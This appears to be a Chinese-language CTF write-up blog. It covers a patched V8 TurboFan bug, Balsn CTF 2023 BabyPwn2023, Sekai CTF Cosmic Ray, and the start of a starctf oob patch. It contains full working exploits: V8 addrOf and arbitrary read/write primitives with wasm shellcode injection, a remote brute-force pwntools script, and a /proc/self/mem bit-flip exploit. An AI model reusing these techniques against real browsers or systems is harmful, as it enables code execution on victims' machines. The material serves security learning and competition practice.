0%

看了這篇文章後想自己嘗試看看,弄了好幾天總算搞出來了 owob
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#setup

環境搭建

使用 Ubuntu 20.04

1
2
3
4
git reset --hard e0a58f83255d1dae907e2ba4564ad8928a7dedf4
git apply addition-reducer.patch
gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu ="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true v8_untrusted_code_mitigations = false'
ninja -C out/x64.release d8

patch 分析

題目給了兩個 patch

nosandbox.patch

針對 chromium 的 patch,用來把 chrome 的 sandbox 拔掉,不過我這題的 chrome 一直 build 失敗就沒用這個了,只上 V8 的 patch 也不影響解題

addition-reducer.patch

針對 V8 的 patch,新增了一個 reducer
當節點是 kNumberAdd、左節點是 kNumberAdd、右節點是 kNumberConstant 時會嘗試合併節點

合併前的節點

合併後的節點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);

看似沒問題,但在 V8 中浮點數是用 IEEE 754 表示的,大於 Number.MAX_SAFE_INTEGEER 在計算時可能會出現問題
來個例子

由於節點的資料範圍是在 typer phase 計算的,而 duplicate_addition_reducer 是在 typer phase 之後的 typed lowering phase 被執行的,且 duplicate_addition_reducer 不會更新節點的範圍,可以利用這個機制進行 oob 讀寫

typer phase

typed lowering phase

PoC

1
2
3
4
5
6
7
8
9
10
11
12
function poc(a) {
let double_arr = [1.1, 1.2];
let x = a == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991; //Range(0, 1), but actually Range(0, 3)
return double_arr[x];
}

for (let i = 0; i < 0x10000; i++){
poc(0);
}
console.log(poc(1));

成功越界讀取

Exploit

addrOf primitive

利用乘法可以擴大讀取範圍
可以調一下 index 讓 double_arr 讀取到 obj_arr 的 elements,這樣就能 leak address
%DebugPrint() 似乎會影響內存布局,這邊我用 –print-code 選項讓他印出編譯好的 assembly,找到 double_arr 載入 elements 的地方下斷點,這樣就能找到 elements 的位置,obj_arr 應該在 double_arr 下面一點的位置,慢慢 ni 然後看內存可以找到 element_arr 的 element,計算 offset 就可以找到正確的 index 了

1
2
3
4
5
6
7
8
9
10
function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

fakeObj primitive

接下來嘗試用 oob 讀取 double_arr 的 map,但失敗了
有讀到看起來很像的東西,但在後續構造 arbitrary read/write 的時候失敗了,我找不到原因所以換個方法

arbitrary read/write primitive

嘗試宣告一個 ArrayBuffer 並在函數內部宣告一個 Float64Array,嘗試找到 Float64Array 存資料的 pointer
跟前面一樣在 double_arr 載入 elements 的位置下斷點

在下面一點的地方應該有這樣的 code,這邊是宣告 Float64Array 的地方,把斷點下在 call r10 後面

1
2
3
4
5
6
7
8
0x2879719c5ce3   123  48b90122804a61180000 REX.W movq rcx,0x18614a802201    ;; object: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
0x2879719c5ced 12d 488b75c8 REX.W movq rsi,[rbp-0x38]
0x2879719c5cf1 131 48b8594491476e380000 REX.W movq rax,0x386e47914459 ;; object: 0x386e47914459 <JSFunction Float64Array (sfi = 0xf1f45795eb9)>
0x2879719c5cfb 13b 498b55a0 REX.W movq rdx,[r13-0x60] (root (0x1e7f916825b1 <undefined>))
0x2879719c5cff 13f 488bd8 REX.W movq rbx,rax
0x2879719c5d02 142 488bfa REX.W movq rdi,rdx
0x2879719c5d05 145 49ba803f11c9ae550000 REX.W movq r10,0x55aec9113f80 (CreateTypedArray)
0x2879719c5d0f 14f 41ffd2 call r10

c 找到 double_arr 的 elements 之後下 c,double_array 後面應該會有 Float64Array,找到指向 buffer 的 pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤  x/32gx 0x367469ba1c41-1
0x367469ba1c40: 0x00001e7f91683539 0x0000000900000000
0x367469ba1c50: 0x3ff199999999999a 0x3ff3333333333333
0x367469ba1c60: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1c70: 0x3ff8000000000000 0x3ff999999999999a
0x367469ba1c80: 0x3ffb333333333333 0x3ffccccccccccccd
0x367469ba1c90: 0x3ffe666666666666 0x000034559a284c81
0x367469ba1ca0: 0x00001e7f91682d29 0x0000367469ba1ce1
0x367469ba1cb0: 0x000018614a802201 0x0000000000000000
0x367469ba1cc0: 0x0000010000000000 0x0000002000000000
0x367469ba1cd0: 0x0000000000000000 0x0000000000000000
0x367469ba1ce0: 0x00001e7f916845c9 0x0000002000000000
0x367469ba1cf0: 0x0000000000000000 0x000055aeca03d1f0
0x367469ba1d00: 0x00001e7f91683539 0x0000000900000000
0x367469ba1d10: 0x0000000000000000 0x3ff3333333333333
0x367469ba1d20: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1d30: 0x3ff8000000000000 0x3ff999999999999a

gef➤ job 0x367469ba1c99
0x367469ba1c99: [JSTypedArray]
- map: 0x34559a284c81 <Map(FLOAT64_ELEMENTS)> [FastProperties]
- prototype: 0x386e47914559 <Object map = 0x34559a284cd1>
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> [FLOAT64_ELEMENTS]
- embedder fields: 2
- buffer: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
- byte_offset: 0
- byte_length: 256
- length: 32
- properties: 0x1e7f91682d29 <FixedArray[0]> {}
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> {
0-31: 0
}
- embedder fields = {
(nil)
(nil)
}

但 0x18614a802201 是個 object,真正存資料的地方是在 0x000055aeca03d1f0 這裡,這是一個 heap 上的位置

1
2
3
4
5
6
7
8
9
10
11
gef➤  telescope 0x18614a802201-1
0x000018614a802200│+0x0000: 0x000034559a284aa1 → 0x0800001e7f916822
0x000018614a802208│+0x0008: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802210│+0x0010: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802218│+0x0018: 0x0000010000000000
0x000018614a802220│+0x0020: 0x000055aeca03d1f0 → 0x0000000000000000
0x000018614a802228│+0x0028: 0x0000000000000004
0x000018614a802230│+0x0030: 0x0000000000000000
0x000018614a802238│+0x0038: 0x0000000000000000
0x000018614a802240│+0x0040: 0x00001e7f916833f9 → 0x0000001e7f916822
0x000018614a802248│+0x0048: 0x0000000000000000

而這個東西也在 double_arr 的附近,可以用 oob 改成我們要操作的 address 並回傳一個新的 Float64Array,這樣就有任意位置讀寫了

1
2
3
4
5
6
7
8
9
10
11
12
13
var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

透過 wasm 寫入 shellcode

後續利用就很簡單了,透過任意寫竄改 wasm 的內容就可以了

成功彈出計算機

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
var buffer = new ArrayBuffer(0x10);
var bigUnit64 = new BigInt64Array(buffer);
var float64 = new Float64Array(buffer);

function ftoi(value){
float64[0] = value;
return bigUnit64[0];
}

function itof(value){
bigUnit64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

function ftoh(value){
return hex(ftoi(value));
}

function ftoa(value){
return ftoi(value) >> 1n << 1n;
}

function atof(value){
return itof(value | 1n);
}

function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

for(let i = 0; i < 0x10000; i++){
f(0, 0, {});
}

var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

for(let i = 0; i < 0x10000; i++){
g(0, 0, 0n);
}


function addrOf(obj){
return f(1, 0, obj);
}

function get_arr(addr){
if (addr % 2n == 0){
addr += 1n;
}
return g(1, 0, addr);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var wasmInstance_addr = addrOf(wasmInstance);
console.log("wasm instance address: ", hex(wasmInstance_addr));

var tmp_arr = get_arr(wasmInstance_addr);
//theoretically it don't have to left shift, but idk why QwQ
//maybe there are some bug in my exp
var wasm_addr = ftoa(tmp_arr[0x1d]) << 8n;
console.log("wasm address: " + hex(wasm_addr));

var win_owob = get_arr(wasm_addr);

var shellcode = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
for (let i = 0; i < shellcode.length; i++){
win_owob[i] = itof(shellcode[i]);
}
wasmInstance.exports.main();

Balsn CTF 2023

前言

這次跟 Starburst Kiwawa 打,運氣不錯有台灣前三
我只解掉 BabyPwn2023,我猜是非預期解XD

BabyPwn2023

Analysis

程式很短,洞也很明顯
但問題是我們這次沒有 pop rdi; ret 可以幫我們控 rdi 來 leak libc

1
2
3
4
5
6
7
terry1234@Ubuntu22:~/balsn/baby_pwn/share$ checksec  chal
[*] '/home/terry1234/balsn/baby_pwn/share/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v5; // [rsp-28h] [rbp-28h] //wrong
__int64 v6; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v6 = v3;
setvbuf_0(_bss_start, 0LL, 2LL, 0LL);
gets_0(&v5); //rbp-0x20
puts_0("Baby PWN 2023 :)");
return 0;
}

Idea

首先我們可以先看看 main() ret 前 rdi 指向哪

發現他指向 _IO_stdfile_1_lock,上面沒東西、_IO_2_1_stdout 在它前面,我在賽中沒想到怎麼用,賽後看到 lys 在 #writeups 傳了用這個的解法,貌似改 _IO_stdfile_0_lock 就能 leak tls-storage
我看不懂,但我大受震撼

後面我翻到這篇 writeup
https://song-10.gitee.io/2019/12/04/pwn-2019-12-4-wiki-ROPTricks/#2018-XNUCA-gets

概念其實很簡單,就像平常在繞 PIE 那樣 partial overwrite 就好,不過 gets() 會把我們的 \n 換成 \x00,所以要注意一下這點,其他地方其實差不多。如果我們能把 stack 上的一個值透過 partial overwrite 變成 one_gadget,我們就可以 get shell
當然,由於上面提到的 gets() 的特性,我們會要跟 ASLR 碰運氣,但機率還在可以接受的範圍內,多送幾次總有機會成功。
這邊我用第一個 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

我們可以看看 stack 上有什麼值好蓋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//libc base addr = 0x00007ffff7c00000
gef➤ telescope
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax ← $rsp
0x00007fffffffdee0│+0x0008: 0x0000000000000000
0x00007fffffffdee8│+0x0010: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdef0│+0x0018: 0x0000000100000000
0x00007fffffffdef8│+0x0020: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf00│+0x0028: 0x0000000000000000
0x00007fffffffdf08│+0x0030: 0x5dc9144616cd8aba
0x00007fffffffdf10│+0x0038: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf18│+0x0040: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdf20│+0x0048: 0x0000000000403dc8 → 0x0000000000401140 → <__do_global_dtors_aux+0> endbr64

gef➤
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000
0x00007fffffffdf30│+0x0058: 0xa236ebb9ab0f8aba
0x00007fffffffdf38│+0x0060: 0xa236fbc32c478aba
0x00007fffffffdf40│+0x0068: 0x00007fff00000000
0x00007fffffffdf48│+0x0070: 0x0000000000000000
0x00007fffffffdf50│+0x0078: 0x0000000000000000

0x00007fffffffdf58│+0x0080: 0x0000000000000000
0x00007fffffffdf60│+0x0088: 0x0000000000000000
0x00007fffffffdf68│+0x0090: 0xc3ae57ba9b7fd300
0x00007fffffffdf70│+0x0098: 0x0000000000000000

用 gdb 看可以發現 one_gadget 在這後面,蓋這裡會讓地址變低,撞不到 one_gadget

1
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax	 ← $rsp

這裡看起來有點機會(ld-linux-x86-64.so.2 通常會被加載到 libc.so.6 還高的 address)

1
2
3
4
5
6
gef➤  
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000

//in ld-linux-x86-64.so.2
gef➤ x/gx 0x00007ffff7ffd040
0x7ffff7ffd040 <_rtld_global>: 0x00007ffff7ffe2e0

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

#p = process('./chal')
elf = ELF('./chal')

main = elf.symbols['main']
puts = elf.symbols['puts']
gets = elf.symbols['gets']
bss = elf.bss()
ret = 0x40101a

for i in range(0, 0x2000):
print(hex(i))
#p = process('./chal', timeout = 2)
p = remote('babypwn2023.balsnctf.com', 10105)
p.sendline(b'a' * 0x20 + p64(bss + 0x800) + p64(ret) * 10 + b'\x37\x8a')
p.recvuntil(b'Baby PWN 2023 :)\n')
p.sendline(b'cat /home/chall/flag')
try:
data = p.recv()
print(data)
p.interactive()
p.close()
except Exception:
p.close()
continue

主辦方其實有發了一篇公告表示 BabyPwn2023 的機器一直有不小的流量,如果持續下去的話可能會調整一些東西,但我解完才看到 qwq
在這邊跟主辦方說聲抱歉

賽後有去跟那題機器的 maintainer 聊,對方表示有另一隊也是跟我們用類似的方法,不過他們有 leak 東西,用 1/4096 左右的機率在炸

Sekai CTF 2023 Writeup

周末都在 AIS3 Club,賽中只解出 Cosmic Ray,有看了一下 network tools 和 testsender,打算再給自己一段時間思考解法

Cosmic Ray

用 IDA 打開後發現有 buffer overflow,但有開 canary,所以要想辦法 leak 或讓它壞掉
有給一個 win(),會直接輸出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
int result; // eax
__int64 addr; // [rsp-40h] [rbp-40h]
__int64 v6; // [rsp-38h] [rbp-38h]
unsigned __int64 v7; // [rsp-10h] [rbp-10h]
__int64 v8; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v8 = v3;
v7 = __readfsqword(0x28u);
setbuf_0(_bss_start, 0LL, envp);
puts_0("Welcome to my revolutionary new cosmic ray machine!");
puts_0("Give me any address in memory and I'll send a cosmic ray through it:");
scanf("0x%lx", &addr);
getchar_0("0x%lx", &addr);
cosmic_ray((__int64)&v8, addr);
puts_0("Please write a review of your experience today:");
gets_0(&v6);
result = 0;
__readfsqword(0x28u);
return result;
}

跟進去 cosmic_ray(),發現它會把我們給的 address 裡的資料取出來,可以選擇翻轉其中 1 bit 再把資料寫回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 __usercall cosmic_ray@<rax>(__int64 a1@<rbp>, __int64 addr@<rdi>)
{
__int64 v2; // rsi
int idx; // [rsp-34h] [rbp-34h]
signed int i; // [rsp-30h] [rbp-30h]
unsigned int v6; // [rsp-2Ch] [rbp-2Ch]
_BYTE *bin_arr; // [rsp-28h] [rbp-28h]
__int64 v8; // [rsp-20h] [rbp-20h]
__int16 v9; // [rsp-12h] [rbp-12h]
unsigned __int64 v10; // [rsp-10h] [rbp-10h]
__int64 v11; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v11 = a1;
v10 = __readfsqword(0x28u);
v6 = open_0("/proc/self/mem", 2LL);
lseek_0(v6, addr, 0LL);
read_0(v6, &v9, 1LL);
bin_arr = get_bin(v9);
puts_0("\n|0|1|2|3|4|5|6|7|");
printf_0();
for ( i = 0; i <= 7; ++i )
{
v2 = (unsigned int)(char)bin_arr[i];
printf_0();
}
puts_0("\n\nEnter a bit position to flip (0-7):");
scanf("%d", &idx);
getchar_0("%d", &idx);
if ( idx < 0 || idx > 7 )
exit_0(1LL);
v8 = flip_bit((__int64)bin_arr, idx);
HIBYTE(v9) = binary_to_byte((__int64)&v11, v8);
printf_0();
lseek_0(v6, addr, 0LL);
write_0();
return v10 - __readfsqword(0x28u);
}

看了 flit_bit() 與 binary_to_byte() 都沒發現漏洞,後面也沒有發現可以做 leak 的地方
由於它是 Partial RELRO 的關係,有想到透過 GOT Hijacking 來把 puts() gets() __stack_check_fail() 其中一個的 GOT 寫成 win(),但用 gdb 看一下發現地址差得有點多,無法只透過翻 1 bit 來改成 win()

回去看 cosmic_ray() 發現它是透過讀寫 /proc/self/mem 來完成操作的,之前打 Google CTF 2023 時有遇到一題 write-flag-where 也是類似的作法,由於讀寫 /proc/self/mem 可以無視 pages 的權限,所以可以更改 .text 段的內容。

這邊可以將 jz(opcode = 0x74) 寫成 jnz(opcode = 0x75),使程式不呼叫 __stack_check_fail() 來通過檢查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = remote('chals.sekai.team', 4077)
#p = process('./cosmicray')
elf = ELF('./cosmicray')

win = elf.symbols['win']

#0x74 -> 0x75
#jz -> jnz
p.recvuntil(b':\n')
p.sendline(hex(0x4016f4))
p.recvuntil(b':\n')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(b'a' * 0x38 + p64(win))

p.interactive()

starctf oob writeup

環境搭建

這邊使用Ubuntu 18.04

1
2
3
4
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply oob.diff
tools/dev/gm.py x64.release

patch 分析

給 array 新增了一個 oob() method,可以做到一個 index 範圍的越界讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
